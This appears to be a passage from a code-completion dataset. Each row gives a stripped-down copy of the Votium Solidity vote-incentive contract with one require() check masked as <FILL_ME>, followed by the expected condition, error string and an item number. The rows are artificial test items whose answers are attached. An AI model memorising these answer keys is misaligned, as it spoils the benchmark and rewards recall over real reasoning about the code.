event TokenAllow(address _token, bool _allow);
event AllowlistRequirement(bool _requireAllowlist);
event AllowExclusions(bool _allowExclusions);
event UpdatedFee(uint256 _feeAmount);
event ModifiedTeam(address _member, bool _approval);
event UpdatedDistributor(address _distributor);
event WithdrawUnprocessed(
uint256 _round,
address _gauge,
uint256 _incentive,
uint256 _amount
);
event IncreasedIncentive(
address _token,
uint256 _total,
uint256 _increase,
uint256 _round,
address _gauge,
uint256 _maxPerVote
);
}
| incentives[_round][_gauge][_incentive].depositor==msg.sender,"!depositor" | 81,536 | incentives[_round][_gauge][_incentive].depositor==msg.sender |
"!increaseOnly" | // SPDX-License-Identifier: MIT
// Votium
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./Ownable.sol";
contract Votium is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
/* ========== STATE VARIABLES ========== */
// relevant time constraints
uint256 epochDuration = 86400 * 14; // 2 weeks
uint256 roundDuration = 86400 * 5; // 5 days
uint256 deadlineDuration = 60 * 60 * 6; // 6 hours
mapping(address => bool) public tokenAllowed; // token allow list
mapping(address => bool) public approvedTeam; // for team functions that do not require multi-sig security
address public feeAddress; // address to receive platform fees
uint256 public platformFee = 400; // 4%
uint256 public constant DENOMINATOR = 10000; // denominates weights 10000 = 100%
address public distributor; // address of distributor contract
bool public requireAllowlist = true; // begin with erc20 allow list in effect
bool public allowExclusions = false; // enable ability to exclude addresses
struct Incentive {
address token;
uint256 amount;
uint256 maxPerVote;
uint256 distributed;
uint256 recycled;
address depositor;
address[] excluded; // list of addresses that cannot receive this incentive
}
mapping(uint256 => address[]) public roundGauges; // round => gauge array
mapping(uint256 => mapping(address => bool)) public inRoundGauges; // round => gauge => bool
mapping(uint256 => mapping(address => Incentive[])) public incentives; // round => gauge => incentive array
mapping(uint256 => mapping(address => uint256)) public votesReceived; // round => gauge => votes
mapping(address => mapping(uint256 => mapping(address => uint256[]))) public userDeposits; // user => round => gauge => incentive indecies
mapping(address => uint256[]) public userRounds; // user => round array
mapping(address => address[]) public userGauges; // user => gauge array
mapping(address => mapping(uint256 => bool)) public inUserRounds; // user => round => bool
mapping(address => mapping(address => bool)) public inUserGauges; // user => gauge => bool
mapping(address => uint256) public virtualBalance; // token => amount
uint256 public lastRoundProcessed; // last round that was processed by multi-sig
mapping(address => uint256) public toTransfer; // token => amount
address[] public toTransferList; // list of tokens to transfer
/* ========== CONSTRUCTOR ========== */
constructor(
address _approved,
address _approved2,
address _feeAddress,
address _distributor
) {
}
/* ========== PUBLIC FUNCTIONS ========== */
function gaugesLength(uint256 _round) public view returns (uint256) {
}
function incentivesLength(
uint256 _round,
address _gauge
) public view returns (uint256) {
}
function currentEpoch() public view returns (uint256) {
}
// Display current or next active round
function activeRound() public view returns (uint256) {
}
// Include excluded addresses in incentive
function viewIncentive(
uint256 _round,
address _gauge,
uint256 _incentive
) public view returns (Incentive memory) {
}
// Deposit vote incentive for a single gauge in a single round
function depositIncentive(
address _token,
uint256 _amount,
uint256 _round,
address _gauge,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// evenly split deposit across a single gauge in multiple rounds
function depositSplitRounds(
address _token,
uint256 _amount,
uint256 _numRounds,
address _gauge,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// evenly split deposit across multiple gauges in a single round
function depositSplitGauges(
address _token,
uint256 _amount,
uint256 _round,
address[] memory _gauges,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// evenly split deposit across multiple gauges in multiple rounds
function depositSplitGaugesRounds(
address _token,
uint256 _amount,
uint256 _numRounds,
address[] memory _gauges,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// deposit same token to multiple gauges with different amounts in a single round
function depositUnevenSplitGauges(
address _token,
uint256 _round,
address[] memory _gauges,
uint256[] memory _amounts,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// deposit same token to multiple gauges with different amounts in a single round
function depositUnevenSplitGaugesRounds(
address _token,
uint256 _numRounds,
address[] memory _gauges,
uint256[] memory _amounts,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
function increaseIncentive(
uint256 _round,
address _gauge,
uint256 _incentive,
uint256 _increase,
uint256 _maxPerVote
) public {
require(
_maxPerVote != incentives[_round][_gauge][_incentive].maxPerVote ||
_increase > 0,
"!change"
);
require(_round >= activeRound(), "!deadline");
require(
incentives[_round][_gauge][_incentive].depositor == msg.sender,
"!depositor"
);
if (_maxPerVote > 0) {
require(
_maxPerVote >=
incentives[_round][_gauge][_incentive].maxPerVote,
"!increaseOnly"
);
require(<FILL_ME>)
}
if (_maxPerVote != incentives[_round][_gauge][_incentive].maxPerVote) {
incentives[_round][_gauge][_incentive].maxPerVote = _maxPerVote;
}
uint256 rewardIncrease;
if (_increase > 0) {
_takeDeposit(
incentives[_round][_gauge][_incentive].token,
_increase
);
rewardIncrease =
_increase -
((_increase * platformFee) / DENOMINATOR);
incentives[_round][_gauge][_incentive].amount += rewardIncrease;
virtualBalance[
incentives[_round][_gauge][_incentive].token
] += rewardIncrease;
}
emit IncreasedIncentive(
incentives[_round][_gauge][_incentive].token,
incentives[_round][_gauge][_incentive].amount,
rewardIncrease,
_round,
_gauge,
_maxPerVote
);
}
// function for depositor to withdraw unprocessed incentives
// this should only happen if a gauge does not exist or is killed before the round ends
// fees are not returned
function withdrawUnprocessed(
uint256 _round,
address _gauge,
uint256 _incentive
) public nonReentrant {
}
// function for depositor to recycle unprocessed incentives instead of withdrawing (maybe gauge was not active yet or was killed and revived)
function recycleUnprocessed(
uint256 _round,
address _gauge,
uint256 _incentive
) public {
}
/* ========== APPROVED TEAM FUNCTIONS ========== */
// transfer stored rewards to distributor (to rescue tokens sent directly to contract)
// does not change virtual balance
function rescueToDistributor(address _token) public onlyTeam {
}
// allow/deny token
function allowToken(address _token, bool _allow) public onlyTeam {
}
// allow/deny multiple tokens
function allowTokens(
address[] memory _tokens,
bool _allow
) public onlyTeam {
}
/* ========== INTERNAL FUNCTIONS ========== */
// take deposit and send fees to feeAddress, return rewardTotal
function _takeDeposit(address _token, uint256 _amount) internal {
}
function _maintainUserRounds(uint256 _round) internal {
}
function _maintainGaugeArrays(uint256 _round, address _gauge) internal {
}
/* ========== MUTLI-SIG FUNCTIONS ========== */
// submit vote totals and transfer rewards to distributor
function endRound(
uint256 _round,
address[] memory _gauges,
uint256[] memory _totals
) public onlyOwner {
}
// toggle allowlist requirement
function setAllowlistRequired(bool _requireAllowlist) public onlyOwner {
}
// toggle allowExclusions
function setAllowExclusions(bool _allowExclusions) public onlyOwner {
}
// update fee address
function updateFeeAddress(address _feeAddress) public onlyOwner {
}
// update fee amount
function updateFeeAmount(uint256 _feeAmount) public onlyOwner {
}
// add or remove address from team functions
function modifyTeam(address _member, bool _approval) public onlyOwner {
}
// update token distributor address
function updateDistributor(address _distributor) public onlyOwner {
}
// Fallback executable function
function execute(
address _to,
uint256 _value,
bytes calldata _data
) external onlyOwner returns (bool, bytes memory) {
}
/* ========== MODIFIERS ========== */
modifier onlyTeam() {
}
/* ========== EVENTS ========== */
event NewIncentive(
address _token,
uint256 _amount,
uint256 _round,
address _gauge,
uint256 _maxPerVote,
bool _recycled
);
event TokenAllow(address _token, bool _allow);
event AllowlistRequirement(bool _requireAllowlist);
event AllowExclusions(bool _allowExclusions);
event UpdatedFee(uint256 _feeAmount);
event ModifiedTeam(address _member, bool _approval);
event UpdatedDistributor(address _distributor);
event WithdrawUnprocessed(
uint256 _round,
address _gauge,
uint256 _incentive,
uint256 _amount
);
event IncreasedIncentive(
address _token,
uint256 _total,
uint256 _increase,
uint256 _round,
address _gauge,
uint256 _maxPerVote
);
}
| incentives[_round][_gauge][_incentive].maxPerVote!=0,"!increaseOnly" | 81,536 | incentives[_round][_gauge][_incentive].maxPerVote!=0 |
"!distributed" | // SPDX-License-Identifier: MIT
// Votium
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./Ownable.sol";
contract Votium is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
/* ========== STATE VARIABLES ========== */
// relevant time constraints
uint256 epochDuration = 86400 * 14; // 2 weeks
uint256 roundDuration = 86400 * 5; // 5 days
uint256 deadlineDuration = 60 * 60 * 6; // 6 hours
mapping(address => bool) public tokenAllowed; // token allow list
mapping(address => bool) public approvedTeam; // for team functions that do not require multi-sig security
address public feeAddress; // address to receive platform fees
uint256 public platformFee = 400; // 4%
uint256 public constant DENOMINATOR = 10000; // denominates weights 10000 = 100%
address public distributor; // address of distributor contract
bool public requireAllowlist = true; // begin with erc20 allow list in effect
bool public allowExclusions = false; // enable ability to exclude addresses
struct Incentive {
address token;
uint256 amount;
uint256 maxPerVote;
uint256 distributed;
uint256 recycled;
address depositor;
address[] excluded; // list of addresses that cannot receive this incentive
}
mapping(uint256 => address[]) public roundGauges; // round => gauge array
mapping(uint256 => mapping(address => bool)) public inRoundGauges; // round => gauge => bool
mapping(uint256 => mapping(address => Incentive[])) public incentives; // round => gauge => incentive array
mapping(uint256 => mapping(address => uint256)) public votesReceived; // round => gauge => votes
mapping(address => mapping(uint256 => mapping(address => uint256[]))) public userDeposits; // user => round => gauge => incentive indecies
mapping(address => uint256[]) public userRounds; // user => round array
mapping(address => address[]) public userGauges; // user => gauge array
mapping(address => mapping(uint256 => bool)) public inUserRounds; // user => round => bool
mapping(address => mapping(address => bool)) public inUserGauges; // user => gauge => bool
mapping(address => uint256) public virtualBalance; // token => amount
uint256 public lastRoundProcessed; // last round that was processed by multi-sig
mapping(address => uint256) public toTransfer; // token => amount
address[] public toTransferList; // list of tokens to transfer
/* ========== CONSTRUCTOR ========== */
constructor(
address _approved,
address _approved2,
address _feeAddress,
address _distributor
) {
}
/* ========== PUBLIC FUNCTIONS ========== */
function gaugesLength(uint256 _round) public view returns (uint256) {
}
function incentivesLength(
uint256 _round,
address _gauge
) public view returns (uint256) {
}
function currentEpoch() public view returns (uint256) {
}
// Display current or next active round
function activeRound() public view returns (uint256) {
}
// Include excluded addresses in incentive
function viewIncentive(
uint256 _round,
address _gauge,
uint256 _incentive
) public view returns (Incentive memory) {
}
// Deposit vote incentive for a single gauge in a single round
function depositIncentive(
address _token,
uint256 _amount,
uint256 _round,
address _gauge,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// evenly split deposit across a single gauge in multiple rounds
function depositSplitRounds(
address _token,
uint256 _amount,
uint256 _numRounds,
address _gauge,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// evenly split deposit across multiple gauges in a single round
function depositSplitGauges(
address _token,
uint256 _amount,
uint256 _round,
address[] memory _gauges,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// evenly split deposit across multiple gauges in multiple rounds
function depositSplitGaugesRounds(
address _token,
uint256 _amount,
uint256 _numRounds,
address[] memory _gauges,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// deposit same token to multiple gauges with different amounts in a single round
function depositUnevenSplitGauges(
address _token,
uint256 _round,
address[] memory _gauges,
uint256[] memory _amounts,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// deposit same token to multiple gauges with different amounts in a single round
function depositUnevenSplitGaugesRounds(
address _token,
uint256 _numRounds,
address[] memory _gauges,
uint256[] memory _amounts,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
function increaseIncentive(
uint256 _round,
address _gauge,
uint256 _incentive,
uint256 _increase,
uint256 _maxPerVote
) public {
}
// function for depositor to withdraw unprocessed incentives
// this should only happen if a gauge does not exist or is killed before the round ends
// fees are not returned
function withdrawUnprocessed(
uint256 _round,
address _gauge,
uint256 _incentive
) public nonReentrant {
require(
_round <= lastRoundProcessed || _round + 3 < activeRound(),
"!roundNotProcessed"
); // allow 3 rounds for processing before withdraw can be forced
require(
incentives[_round][_gauge][_incentive].depositor == msg.sender,
"!depositor"
);
require(<FILL_ME>)
require(
incentives[_round][_gauge][_incentive].recycled == 0,
"!recycled"
);
require(
incentives[_round][_gauge][_incentive].amount > 0,
"!withdrawn"
);
uint256 amount = incentives[_round][_gauge][_incentive].amount;
incentives[_round][_gauge][_incentive].amount = 0;
uint256 adjustedAmount = (amount *
IERC20(incentives[_round][_gauge][_incentive].token).balanceOf(
address(this)
)) / virtualBalance[incentives[_round][_gauge][_incentive].token];
amount = amount > adjustedAmount ? adjustedAmount : amount; // use lower amount to avoid over-withdrawal for negative rebase tokens, honeypotting, etc
IERC20(incentives[_round][_gauge][_incentive].token).safeTransfer(
msg.sender,
amount
);
virtualBalance[incentives[_round][_gauge][_incentive].token] -= amount;
emit WithdrawUnprocessed(_round, _gauge, _incentive, amount);
}
// function for depositor to recycle unprocessed incentives instead of withdrawing (maybe gauge was not active yet or was killed and revived)
function recycleUnprocessed(
uint256 _round,
address _gauge,
uint256 _incentive
) public {
}
/* ========== APPROVED TEAM FUNCTIONS ========== */
// transfer stored rewards to distributor (to rescue tokens sent directly to contract)
// does not change virtual balance
function rescueToDistributor(address _token) public onlyTeam {
}
// allow/deny token
function allowToken(address _token, bool _allow) public onlyTeam {
}
// allow/deny multiple tokens
function allowTokens(
address[] memory _tokens,
bool _allow
) public onlyTeam {
}
/* ========== INTERNAL FUNCTIONS ========== */
// take deposit and send fees to feeAddress, return rewardTotal
function _takeDeposit(address _token, uint256 _amount) internal {
}
function _maintainUserRounds(uint256 _round) internal {
}
function _maintainGaugeArrays(uint256 _round, address _gauge) internal {
}
/* ========== MUTLI-SIG FUNCTIONS ========== */
// submit vote totals and transfer rewards to distributor
function endRound(
uint256 _round,
address[] memory _gauges,
uint256[] memory _totals
) public onlyOwner {
}
// toggle allowlist requirement
function setAllowlistRequired(bool _requireAllowlist) public onlyOwner {
}
// toggle allowExclusions
function setAllowExclusions(bool _allowExclusions) public onlyOwner {
}
// update fee address
function updateFeeAddress(address _feeAddress) public onlyOwner {
}
// update fee amount
function updateFeeAmount(uint256 _feeAmount) public onlyOwner {
}
// add or remove address from team functions
function modifyTeam(address _member, bool _approval) public onlyOwner {
}
// update token distributor address
function updateDistributor(address _distributor) public onlyOwner {
}
// Fallback executable function
function execute(
address _to,
uint256 _value,
bytes calldata _data
) external onlyOwner returns (bool, bytes memory) {
}
/* ========== MODIFIERS ========== */
modifier onlyTeam() {
}
/* ========== EVENTS ========== */
event NewIncentive(
address _token,
uint256 _amount,
uint256 _round,
address _gauge,
uint256 _maxPerVote,
bool _recycled
);
event TokenAllow(address _token, bool _allow);
event AllowlistRequirement(bool _requireAllowlist);
event AllowExclusions(bool _allowExclusions);
event UpdatedFee(uint256 _feeAmount);
event ModifiedTeam(address _member, bool _approval);
event UpdatedDistributor(address _distributor);
event WithdrawUnprocessed(
uint256 _round,
address _gauge,
uint256 _incentive,
uint256 _amount
);
event IncreasedIncentive(
address _token,
uint256 _total,
uint256 _increase,
uint256 _round,
address _gauge,
uint256 _maxPerVote
);
}
| incentives[_round][_gauge][_incentive].distributed==0,"!distributed" | 81,536 | incentives[_round][_gauge][_incentive].distributed==0 |
"!recycled" | // SPDX-License-Identifier: MIT
// Votium
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./Ownable.sol";
contract Votium is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
/* ========== STATE VARIABLES ========== */
// relevant time constraints
uint256 epochDuration = 86400 * 14; // 2 weeks
uint256 roundDuration = 86400 * 5; // 5 days
uint256 deadlineDuration = 60 * 60 * 6; // 6 hours
mapping(address => bool) public tokenAllowed; // token allow list
mapping(address => bool) public approvedTeam; // for team functions that do not require multi-sig security
address public feeAddress; // address to receive platform fees
uint256 public platformFee = 400; // 4%
uint256 public constant DENOMINATOR = 10000; // denominates weights 10000 = 100%
address public distributor; // address of distributor contract
bool public requireAllowlist = true; // begin with erc20 allow list in effect
bool public allowExclusions = false; // enable ability to exclude addresses
struct Incentive {
address token;
uint256 amount;
uint256 maxPerVote;
uint256 distributed;
uint256 recycled;
address depositor;
address[] excluded; // list of addresses that cannot receive this incentive
}
mapping(uint256 => address[]) public roundGauges; // round => gauge array
mapping(uint256 => mapping(address => bool)) public inRoundGauges; // round => gauge => bool
mapping(uint256 => mapping(address => Incentive[])) public incentives; // round => gauge => incentive array
mapping(uint256 => mapping(address => uint256)) public votesReceived; // round => gauge => votes
mapping(address => mapping(uint256 => mapping(address => uint256[]))) public userDeposits; // user => round => gauge => incentive indecies
mapping(address => uint256[]) public userRounds; // user => round array
mapping(address => address[]) public userGauges; // user => gauge array
mapping(address => mapping(uint256 => bool)) public inUserRounds; // user => round => bool
mapping(address => mapping(address => bool)) public inUserGauges; // user => gauge => bool
mapping(address => uint256) public virtualBalance; // token => amount
uint256 public lastRoundProcessed; // last round that was processed by multi-sig
mapping(address => uint256) public toTransfer; // token => amount
address[] public toTransferList; // list of tokens to transfer
/* ========== CONSTRUCTOR ========== */
constructor(
address _approved,
address _approved2,
address _feeAddress,
address _distributor
) {
}
/* ========== PUBLIC FUNCTIONS ========== */
function gaugesLength(uint256 _round) public view returns (uint256) {
}
function incentivesLength(
uint256 _round,
address _gauge
) public view returns (uint256) {
}
function currentEpoch() public view returns (uint256) {
}
// Display current or next active round
function activeRound() public view returns (uint256) {
}
// Include excluded addresses in incentive
function viewIncentive(
uint256 _round,
address _gauge,
uint256 _incentive
) public view returns (Incentive memory) {
}
// Deposit vote incentive for a single gauge in a single round
function depositIncentive(
address _token,
uint256 _amount,
uint256 _round,
address _gauge,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// evenly split deposit across a single gauge in multiple rounds
function depositSplitRounds(
address _token,
uint256 _amount,
uint256 _numRounds,
address _gauge,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// evenly split deposit across multiple gauges in a single round
function depositSplitGauges(
address _token,
uint256 _amount,
uint256 _round,
address[] memory _gauges,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// evenly split deposit across multiple gauges in multiple rounds
function depositSplitGaugesRounds(
address _token,
uint256 _amount,
uint256 _numRounds,
address[] memory _gauges,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// deposit same token to multiple gauges with different amounts in a single round
function depositUnevenSplitGauges(
address _token,
uint256 _round,
address[] memory _gauges,
uint256[] memory _amounts,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// deposit same token to multiple gauges with different amounts in a single round
function depositUnevenSplitGaugesRounds(
address _token,
uint256 _numRounds,
address[] memory _gauges,
uint256[] memory _amounts,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
function increaseIncentive(
uint256 _round,
address _gauge,
uint256 _incentive,
uint256 _increase,
uint256 _maxPerVote
) public {
}
// function for depositor to withdraw unprocessed incentives
// this should only happen if a gauge does not exist or is killed before the round ends
// fees are not returned
function withdrawUnprocessed(
uint256 _round,
address _gauge,
uint256 _incentive
) public nonReentrant {
require(
_round <= lastRoundProcessed || _round + 3 < activeRound(),
"!roundNotProcessed"
); // allow 3 rounds for processing before withdraw can be forced
require(
incentives[_round][_gauge][_incentive].depositor == msg.sender,
"!depositor"
);
require(
incentives[_round][_gauge][_incentive].distributed == 0,
"!distributed"
);
require(<FILL_ME>)
require(
incentives[_round][_gauge][_incentive].amount > 0,
"!withdrawn"
);
uint256 amount = incentives[_round][_gauge][_incentive].amount;
incentives[_round][_gauge][_incentive].amount = 0;
uint256 adjustedAmount = (amount *
IERC20(incentives[_round][_gauge][_incentive].token).balanceOf(
address(this)
)) / virtualBalance[incentives[_round][_gauge][_incentive].token];
amount = amount > adjustedAmount ? adjustedAmount : amount; // use lower amount to avoid over-withdrawal for negative rebase tokens, honeypotting, etc
IERC20(incentives[_round][_gauge][_incentive].token).safeTransfer(
msg.sender,
amount
);
virtualBalance[incentives[_round][_gauge][_incentive].token] -= amount;
emit WithdrawUnprocessed(_round, _gauge, _incentive, amount);
}
// function for depositor to recycle unprocessed incentives instead of withdrawing (maybe gauge was not active yet or was killed and revived)
function recycleUnprocessed(
uint256 _round,
address _gauge,
uint256 _incentive
) public {
}
/* ========== APPROVED TEAM FUNCTIONS ========== */
// transfer stored rewards to distributor (to rescue tokens sent directly to contract)
// does not change virtual balance
function rescueToDistributor(address _token) public onlyTeam {
}
// allow/deny token
function allowToken(address _token, bool _allow) public onlyTeam {
}
// allow/deny multiple tokens
function allowTokens(
address[] memory _tokens,
bool _allow
) public onlyTeam {
}
/* ========== INTERNAL FUNCTIONS ========== */
// take deposit and send fees to feeAddress, return rewardTotal
function _takeDeposit(address _token, uint256 _amount) internal {
}
function _maintainUserRounds(uint256 _round) internal {
}
function _maintainGaugeArrays(uint256 _round, address _gauge) internal {
}
/* ========== MUTLI-SIG FUNCTIONS ========== */
// submit vote totals and transfer rewards to distributor
function endRound(
uint256 _round,
address[] memory _gauges,
uint256[] memory _totals
) public onlyOwner {
}
// toggle allowlist requirement
function setAllowlistRequired(bool _requireAllowlist) public onlyOwner {
}
// toggle allowExclusions
function setAllowExclusions(bool _allowExclusions) public onlyOwner {
}
// update fee address
function updateFeeAddress(address _feeAddress) public onlyOwner {
}
// update fee amount
function updateFeeAmount(uint256 _feeAmount) public onlyOwner {
}
// add or remove address from team functions
function modifyTeam(address _member, bool _approval) public onlyOwner {
}
// update token distributor address
function updateDistributor(address _distributor) public onlyOwner {
}
// Fallback executable function
function execute(
address _to,
uint256 _value,
bytes calldata _data
) external onlyOwner returns (bool, bytes memory) {
}
/* ========== MODIFIERS ========== */
modifier onlyTeam() {
}
/* ========== EVENTS ========== */
event NewIncentive(
address _token,
uint256 _amount,
uint256 _round,
address _gauge,
uint256 _maxPerVote,
bool _recycled
);
event TokenAllow(address _token, bool _allow);
event AllowlistRequirement(bool _requireAllowlist);
event AllowExclusions(bool _allowExclusions);
event UpdatedFee(uint256 _feeAmount);
event ModifiedTeam(address _member, bool _approval);
event UpdatedDistributor(address _distributor);
event WithdrawUnprocessed(
uint256 _round,
address _gauge,
uint256 _incentive,
uint256 _amount
);
event IncreasedIncentive(
address _token,
uint256 _total,
uint256 _increase,
uint256 _round,
address _gauge,
uint256 _maxPerVote
);
}
| incentives[_round][_gauge][_incentive].recycled==0,"!recycled" | 81,536 | incentives[_round][_gauge][_incentive].recycled==0 |
"!withdrawn" | // SPDX-License-Identifier: MIT
// Votium
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./Ownable.sol";
contract Votium is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
/* ========== STATE VARIABLES ========== */
// relevant time constraints
uint256 epochDuration = 86400 * 14; // 2 weeks
uint256 roundDuration = 86400 * 5; // 5 days
uint256 deadlineDuration = 60 * 60 * 6; // 6 hours
mapping(address => bool) public tokenAllowed; // token allow list
mapping(address => bool) public approvedTeam; // for team functions that do not require multi-sig security
address public feeAddress; // address to receive platform fees
uint256 public platformFee = 400; // 4%
uint256 public constant DENOMINATOR = 10000; // denominates weights 10000 = 100%
address public distributor; // address of distributor contract
bool public requireAllowlist = true; // begin with erc20 allow list in effect
bool public allowExclusions = false; // enable ability to exclude addresses
struct Incentive {
address token;
uint256 amount;
uint256 maxPerVote;
uint256 distributed;
uint256 recycled;
address depositor;
address[] excluded; // list of addresses that cannot receive this incentive
}
mapping(uint256 => address[]) public roundGauges; // round => gauge array
mapping(uint256 => mapping(address => bool)) public inRoundGauges; // round => gauge => bool
mapping(uint256 => mapping(address => Incentive[])) public incentives; // round => gauge => incentive array
mapping(uint256 => mapping(address => uint256)) public votesReceived; // round => gauge => votes
mapping(address => mapping(uint256 => mapping(address => uint256[]))) public userDeposits; // user => round => gauge => incentive indecies
mapping(address => uint256[]) public userRounds; // user => round array
mapping(address => address[]) public userGauges; // user => gauge array
mapping(address => mapping(uint256 => bool)) public inUserRounds; // user => round => bool
mapping(address => mapping(address => bool)) public inUserGauges; // user => gauge => bool
mapping(address => uint256) public virtualBalance; // token => amount
uint256 public lastRoundProcessed; // last round that was processed by multi-sig
mapping(address => uint256) public toTransfer; // token => amount
address[] public toTransferList; // list of tokens to transfer
/* ========== CONSTRUCTOR ========== */
constructor(
address _approved,
address _approved2,
address _feeAddress,
address _distributor
) {
}
/* ========== PUBLIC FUNCTIONS ========== */
function gaugesLength(uint256 _round) public view returns (uint256) {
}
function incentivesLength(
uint256 _round,
address _gauge
) public view returns (uint256) {
}
function currentEpoch() public view returns (uint256) {
}
// Display current or next active round
function activeRound() public view returns (uint256) {
}
// Include excluded addresses in incentive
function viewIncentive(
uint256 _round,
address _gauge,
uint256 _incentive
) public view returns (Incentive memory) {
}
// Deposit vote incentive for a single gauge in a single round
function depositIncentive(
address _token,
uint256 _amount,
uint256 _round,
address _gauge,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// evenly split deposit across a single gauge in multiple rounds
function depositSplitRounds(
address _token,
uint256 _amount,
uint256 _numRounds,
address _gauge,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// evenly split deposit across multiple gauges in a single round
function depositSplitGauges(
address _token,
uint256 _amount,
uint256 _round,
address[] memory _gauges,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// evenly split deposit across multiple gauges in multiple rounds
function depositSplitGaugesRounds(
address _token,
uint256 _amount,
uint256 _numRounds,
address[] memory _gauges,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// deposit same token to multiple gauges with different amounts in a single round
function depositUnevenSplitGauges(
address _token,
uint256 _round,
address[] memory _gauges,
uint256[] memory _amounts,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// deposit same token to multiple gauges with different amounts in a single round
function depositUnevenSplitGaugesRounds(
address _token,
uint256 _numRounds,
address[] memory _gauges,
uint256[] memory _amounts,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
function increaseIncentive(
uint256 _round,
address _gauge,
uint256 _incentive,
uint256 _increase,
uint256 _maxPerVote
) public {
}
// function for depositor to withdraw unprocessed incentives
// this should only happen if a gauge does not exist or is killed before the round ends
// fees are not returned
function withdrawUnprocessed(
uint256 _round,
address _gauge,
uint256 _incentive
) public nonReentrant {
require(
_round <= lastRoundProcessed || _round + 3 < activeRound(),
"!roundNotProcessed"
); // allow 3 rounds for processing before withdraw can be forced
require(
incentives[_round][_gauge][_incentive].depositor == msg.sender,
"!depositor"
);
require(
incentives[_round][_gauge][_incentive].distributed == 0,
"!distributed"
);
require(
incentives[_round][_gauge][_incentive].recycled == 0,
"!recycled"
);
require(<FILL_ME>)
uint256 amount = incentives[_round][_gauge][_incentive].amount;
incentives[_round][_gauge][_incentive].amount = 0;
uint256 adjustedAmount = (amount *
IERC20(incentives[_round][_gauge][_incentive].token).balanceOf(
address(this)
)) / virtualBalance[incentives[_round][_gauge][_incentive].token];
amount = amount > adjustedAmount ? adjustedAmount : amount; // use lower amount to avoid over-withdrawal for negative rebase tokens, honeypotting, etc
IERC20(incentives[_round][_gauge][_incentive].token).safeTransfer(
msg.sender,
amount
);
virtualBalance[incentives[_round][_gauge][_incentive].token] -= amount;
emit WithdrawUnprocessed(_round, _gauge, _incentive, amount);
}
// function for depositor to recycle unprocessed incentives instead of withdrawing (maybe gauge was not active yet or was killed and revived)
function recycleUnprocessed(
uint256 _round,
address _gauge,
uint256 _incentive
) public {
}
/* ========== APPROVED TEAM FUNCTIONS ========== */
// transfer stored rewards to distributor (to rescue tokens sent directly to contract)
// does not change virtual balance
function rescueToDistributor(address _token) public onlyTeam {
}
// allow/deny token
function allowToken(address _token, bool _allow) public onlyTeam {
}
// allow/deny multiple tokens
function allowTokens(
address[] memory _tokens,
bool _allow
) public onlyTeam {
}
/* ========== INTERNAL FUNCTIONS ========== */
// take deposit and send fees to feeAddress, return rewardTotal
function _takeDeposit(address _token, uint256 _amount) internal {
}
function _maintainUserRounds(uint256 _round) internal {
}
function _maintainGaugeArrays(uint256 _round, address _gauge) internal {
}
/* ========== MUTLI-SIG FUNCTIONS ========== */
// submit vote totals and transfer rewards to distributor
function endRound(
uint256 _round,
address[] memory _gauges,
uint256[] memory _totals
) public onlyOwner {
}
// toggle allowlist requirement
function setAllowlistRequired(bool _requireAllowlist) public onlyOwner {
}
// toggle allowExclusions
function setAllowExclusions(bool _allowExclusions) public onlyOwner {
}
// update fee address
function updateFeeAddress(address _feeAddress) public onlyOwner {
}
// update fee amount
function updateFeeAmount(uint256 _feeAmount) public onlyOwner {
}
// add or remove address from team functions
function modifyTeam(address _member, bool _approval) public onlyOwner {
}
// update token distributor address
function updateDistributor(address _distributor) public onlyOwner {
}
// Fallback executable function
function execute(
address _to,
uint256 _value,
bytes calldata _data
) external onlyOwner returns (bool, bytes memory) {
}
/* ========== MODIFIERS ========== */
modifier onlyTeam() {
}
/* ========== EVENTS ========== */
event NewIncentive(
address _token,
uint256 _amount,
uint256 _round,
address _gauge,
uint256 _maxPerVote,
bool _recycled
);
event TokenAllow(address _token, bool _allow);
event AllowlistRequirement(bool _requireAllowlist);
event AllowExclusions(bool _allowExclusions);
event UpdatedFee(uint256 _feeAmount);
event ModifiedTeam(address _member, bool _approval);
event UpdatedDistributor(address _distributor);
